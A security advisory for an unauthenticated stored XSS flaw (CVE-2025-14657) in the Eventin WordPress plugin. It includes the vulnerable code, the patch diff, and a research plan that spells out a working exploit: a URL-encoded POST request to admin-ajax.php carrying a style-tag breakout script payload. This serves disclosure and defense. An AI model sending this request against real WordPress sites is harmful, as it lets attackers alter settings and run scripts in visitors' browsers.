Eventin – Event Manager, Event Booking, Calendar, Tickets and Registration Plugin (AI Powered) <= 4.0.51 - Missing Authorization to Unauthenticated Stored Cross-Site Scripting via 'post_settings'
Description
The Eventin – Event Manager, Events Calendar, Event Tickets and Registrations plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'post_settings' function in all versions up to, and including, 4.0.51. This makes it possible for unauthenticated attackers to modify plugin settings. Furthermore, due to insufficient input sanitization and output escaping on the 'etn_primary_color' setting, this enables unauthenticated attackers to inject arbitrary web scripts that will execute whenever a user accesses a page where Eventin styles are loaded.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=4.0.51What Changed in the Fix
Changes introduced in v4.0.52
Source Code
WordPress.org SVN# Research Plan: CVE-2025-14657 - Unauthenticated Stored XSS via `post_settings` ## 1. Vulnerability Summary The **Eventin** plugin (versions <= 4.0.51) contains a critical missing authorization vulnerability in its settings update mechanism. Specifically, the function `post_settings` (likely an AJ…
Show full research plan
Research Plan: CVE-2025-14657 - Unauthenticated Stored XSS via post_settings
1. Vulnerability Summary
The Eventin plugin (versions <= 4.0.51) contains a critical missing authorization vulnerability in its settings update mechanism. Specifically, the function post_settings (likely an AJAX handler) fails to verify user capabilities or check for valid nonces, allowing unauthenticated attackers to modify global plugin settings.
One of these settings, etn_primary_color, is subsequently retrieved by the register_custom_inline() function in base/Enqueue/register.php and embedded directly into a <style> block in the document <head> without proper sanitization or escaping. This allows for "CSS injection to JS execution" by closing the <style> tag and opening a <script> tag.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
post_settings(Inferred from vulnerability title) - Vulnerable Parameter:
etn_primary_color(Likely sent within asettingsarray or as a top-level POST parameter) - Authentication: Unauthenticated (The
wp_ajax_nopriv_post_settingshook is likely present or the handler is called via a common hook likeinitwithout checkingis_admin()). - Preconditions: The plugin must be active. The XSS executes on any page where Eventin styles are loaded (most frontend pages).
3. Code Flow
- Entry Point: An unauthenticated request is sent to
admin-ajax.php?action=post_settings. - Missing Check: The handler for
post_settingsexecutes. It lacksif ( ! current_user_can( 'manage_options' ) )and fails to verify a nonce viacheck_ajax_referer. - Persistence: The handler takes the input (e.g.,
$_POST['etn_primary_color']) and saves it usingupdate_option()(likely within an array calledetn_settings). - Loading: A user visits the site. The
Eventin\Enqueue\Registerclass is instantiated. - Execution (Source):
base/Enqueue/register.phphas a hookadd_action( 'wp_head', [ $this, 'register_custom_inline' ] );. - Retrieval: Inside
register_custom_inline():$settings = etn_get_option(); // Returns the compromised settings array $primary_color = '#5D78FF'; if ( ! empty( $settings['etn_primary_color'] ) ) { $primary_color = $settings['etn_primary_color']; // Attacker controlled } - Sink: The value is appended to
$etn_custom_css:
The function then outputs this CSS via$etn_custom_css .= " .etn-event-single-content-wrap .etn-event-meta .etn-event-category span, ... { color: $primary_color; } ";wp_add_inline_styleor directecho(source truncated, but description confirms it executes whenever styles load).
4. Nonce Acquisition Strategy
The vulnerability description explicitly states "Missing Authorization" and "Unauthenticated". This usually implies:
- The
wp_ajax_nopriv_post_settingshook exists. - The developer neglected to add
check_ajax_referer().
Verification Strategy:
First, attempt the exploit without a nonce. If it fails with a 0 or -1 response, investigate if a nonce is leaked.
- Shortcode for Loading: Eventin often uses
[etn-events]or[etn-schedule]. - Nonce Extraction:
- Create a page:
wp post create --post_type=page --post_status=publish --post_content='[etn-events]' - Navigate to the page.
- Check
window.localized_data_obj(identified inbase/Enqueue/register.phpandadmin.php). - Command:
browser_eval("window.localized_data_obj?.nonce")(or look for keys likeetn_nonce).
- Create a page:
5. Exploitation Strategy
The goal is to update the etn_primary_color to include a payload that breaks out of the CSS block.
Step 1: Discover Payload Structure
The plugin likely expects settings in a specific POST format. Common formats for this plugin:
action=post_settings&etn_primary_color=VALUEaction=post_settings&settings[etn_primary_color]=VALUE
Step 2: Craft Payload
#5D78FF; } </style><script>alert(origin)</script><style> { color:
Step 3: Send Exploit Request
Using the http_request tool:
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=post_settings&etn_primary_color=%235D78FF%3B%20%7D%20%3C%2Fstyle%3E%3Cscript%3Ealert%28origin%29%3C%2Fscript%3E%3Cstyle%3E
6. Test Data Setup
- Install Eventin: Ensure version <= 4.0.51 is installed and active.
- Target Page: Create a public page to view the XSS:
wp post create --post_type=page --post_title="XSS Trigger" --post_status=publish --post_content="Testing Eventin XSS"
7. Expected Results
- The
admin-ajax.phprequest should return a success code (likely1or a JSON success message). - When visiting the "XSS Trigger" page, the HTML source should contain:
<style id='etn-custom-inline-css' type='text/css'> ... { color: #5D78FF; } </style><script>alert(origin)</script><style>; } </style> - The browser should trigger an alert box.
8. Verification Steps
- Check Database: Use WP-CLI to verify the option was changed.
wp option get etn_settings(or check for an option namedetn_primary_color). - Verify Payload:
wp option get etn_settings --format=json | grep "alert(origin)"
9. Alternative Approaches
If post_settings is not the correct AJAX action:
- Search for Action: Search the plugin for other
noprivAJAX actions:grep -r "wp_ajax_nopriv_" wp-content/plugins/wp-event-solution/ - Check for REST: Look for
register_rest_routecalls that might update settings. - Check for
admin_inithooks: Sometimes plugins process$_POSTsettings inadmin_initwithout checking if the user is actually an admin or on an admin page.grep -r "admin_init" wp-content/plugins/wp-event-solution/ - Payload Variation: If the input is sanitized by
sanitize_text_field,<script>tags will be stripped. However, the vulnerability description specifically states "insufficient input sanitization," suggesting it is not properly sanitized. If it is, look for CSS-based XSS or other unsanitized settings keys.
Summary
The Eventin plugin for WordPress is vulnerable to unauthenticated settings modification due to a missing authorization check in its API handler. This allows attackers to update plugin settings, including 'etn_primary_color', which is then output without sanitization into an inline CSS block, leading to stored Cross-Site Scripting (XSS).
Vulnerable Code
// base/api-handler.php:67 public function permision_check() { return true; } --- // base/Enqueue/register.php:228 public function register_custom_inline() { $settings = etn_get_option(); $etn_custom_css = ''; $primary_color = '#5D78FF'; $secondary_color = ''; // cart bg color. if ( ! empty( $settings['etn_primary_color'] ) ) { $primary_color = $settings['etn_primary_color']; } // cart icon color. if ( ! empty( $settings['etn_secondary_color'] ) ) { $secondary_color = $settings['etn_secondary_color']; } $etn_custom_css .= " .etn-event-single-content-wrap .etn-event-meta .etn-event-category span, ... { color: $primary_color; } ";
Security Fix
@@ -67,8 +64,29 @@ * * @return bool */ - public function permision_check() { - return true; + public function permision_check($request) { + // Verify nonce for all API requests + $nonce = $request->get_header( 'X-WP-Nonce' ); + + if ( empty( $nonce ) ) { + return false; + } + + // For administrative actions, also require manage_options capability + $admin_actions = ['settings']; + $action = $this->request['action'] ?? ''; + + if ( in_array( $action, $admin_actions ) ) { + return current_user_can( 'manage_options' ) && wp_verify_nonce( $nonce, 'wp_rest' ); + } + + // Verify the nonce + if ( wp_verify_nonce( $nonce, 'wp_rest' ) ) { + return true; + } + + // Nonce is valid - allow access + return false; } } @@ -225,14 +225,21 @@ $primary_color = '#5D78FF'; $secondary_color = ''; - // cart bg color. + // SECURITY: Sanitize color values to prevent XSS if ( ! empty( $settings['etn_primary_color'] ) ) { - $primary_color = $settings['etn_primary_color']; + $primary_color = sanitize_hex_color( $settings['etn_primary_color'] ); + // Fallback to default if sanitization fails + if ( empty( $primary_color ) ) { + $primary_color = '#5D78FF'; + } } - // cart icon color. if ( ! empty( $settings['etn_secondary_color'] ) ) { - $secondary_color = $settings['etn_secondary_color']; + $secondary_color = sanitize_hex_color( $settings['etn_secondary_color'] ); + // Fallback to empty if sanitization fails + if ( empty( $secondary_color ) && ! empty( $settings['etn_secondary_color'] ) ) { + $secondary_color = ''; + } }
Exploit Outline
The exploit targets the API endpoint managed by `Eventin\ApiHandler`. An attacker can send a POST request with the action set to 'settings' to modify the plugin's configuration without authentication. By including the 'etn_primary_color' parameter with a payload designed to break out of a CSS context (e.g., `#5D78FF; } </style><script>alert(1)</script><style>`), the malicious script is saved to the database. Whenever a user visits a page where the plugin loads its inline styles (via `register_custom_inline`), the payload is injected into the HTML `<head>`, executing the script in the user's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.